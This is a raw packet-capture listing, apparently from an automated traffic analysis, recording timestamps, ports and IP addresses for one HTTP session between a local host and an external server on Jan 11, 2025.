Jan 11, 2025 04:19:44.602161884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.602221012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602232933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602245092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602277994 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.602356911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602404118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.602924109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602979898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.602993011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603033066 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.603121996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603133917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603144884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603159904 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603178978 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.603219986 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.603811979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603853941 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603862047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.603866100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603919029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.603940964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.603952885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604012012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.604032993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604044914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604084969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.604696989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604758978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604770899 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604825974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.604851961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604865074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604877949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.604896069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.604934931 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.604962111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605593920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605619907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605633020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605655909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.605684042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.605748892 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605761051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605772972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605787039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.605863094 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.605864048 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.606591940 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606604099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606616020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606688976 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.606694937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606708050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606719017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.606764078 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.610835075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.610861063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.610872030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.610877991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.610970020 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.611233950 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.611260891 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.622695923 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.622713089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.622728109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.622752905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.622766972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.622805119 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.622834921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.659343958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659368992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659389019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659401894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659415960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659430027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659461975 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.659516096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.659534931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659548998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659560919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659571886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659584045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.659586906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.659625053 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.659677029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.688000917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.688030005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.688040972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.688092947 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.688103914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.688122034 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.688158989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696175098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696194887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696207047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696254969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696305037 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696322918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696384907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696398020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696432114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696436882 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696480036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696515083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696527004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696573019 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.696647882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696661949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696672916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.696724892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.724615097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724750996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.724785089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724798918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724811077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724822998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724837065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724839926 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.724869013 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.724908113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724920988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724934101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724946976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.724955082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.724977016 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725050926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725064993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725095034 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725177050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725189924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725231886 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725269079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725281000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725316048 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725366116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725378990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725393057 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725404978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725409985 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725420952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725440979 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725477934 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725672007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725683928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725697041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725708961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725720882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725728989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725735903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725749016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.725755930 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.725776911 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726059914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726073980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726085901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726099968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726128101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726174116 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726305008 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726319075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726332903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726346970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726353884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726397038 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726526022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726538897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726550102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726562023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726568937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726571083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726574898 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726588011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726600885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726615906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.726619005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726654053 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726676941 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.726990938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727004051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727058887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727201939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727214098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727226019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727238894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727250099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727255106 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727263927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727276087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727288961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727293968 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727302074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727325916 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727329969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727343082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727344036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727355957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727369070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727375984 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727381945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727395058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727407932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.727410078 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727440119 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.727462053 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.728105068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728121996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728132963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728144884 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728157997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728171110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728178978 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.728184938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728198051 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728213072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.728214979 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.728240967 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.729672909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729717970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729731083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729743004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729764938 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.729794979 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.729813099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729827881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729873896 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.729912043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729923964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729937077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729950905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.729959965 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.730009079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.730031013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.730072021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.738064051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.747865915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.747886896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.747911930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.747926950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.747942924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.747966051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.747966051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748018026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748032093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748058081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748069048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748080015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748110056 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748171091 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748183012 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748194933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748209000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748210907 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748224020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748231888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748259068 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.748379946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748393059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748406887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.748435974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.756911993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.776690960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776705027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776716948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776746988 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.776777029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.776859045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776871920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776885033 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776899099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.776911974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.776952028 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.779521942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.779534101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.784682989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784734964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784745932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784778118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.784797907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784825087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784847975 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.784924984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784936905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784950018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.784965038 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.784989119 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.785048962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785069942 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785079956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785108089 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.785136938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785147905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785160065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785195112 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.785202026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785223007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.785229921 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.785274982 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.792391062 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.792391062 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813306093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813327074 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813342094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813404083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813462019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813477039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813489914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813503027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813505888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813527107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813674927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813688993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813703060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813714027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813726902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813743114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813867092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813867092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813867092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.813905001 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813916922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.813946009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814013004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814026117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814038992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814049959 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814050913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814064980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814076900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814079046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814095020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814105988 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814105988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814141035 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 04:19:44.814464092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814475060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814488888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814501047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 04:19:44.814511061 CET	80	49722	193.143.1.205	192.168.2.10
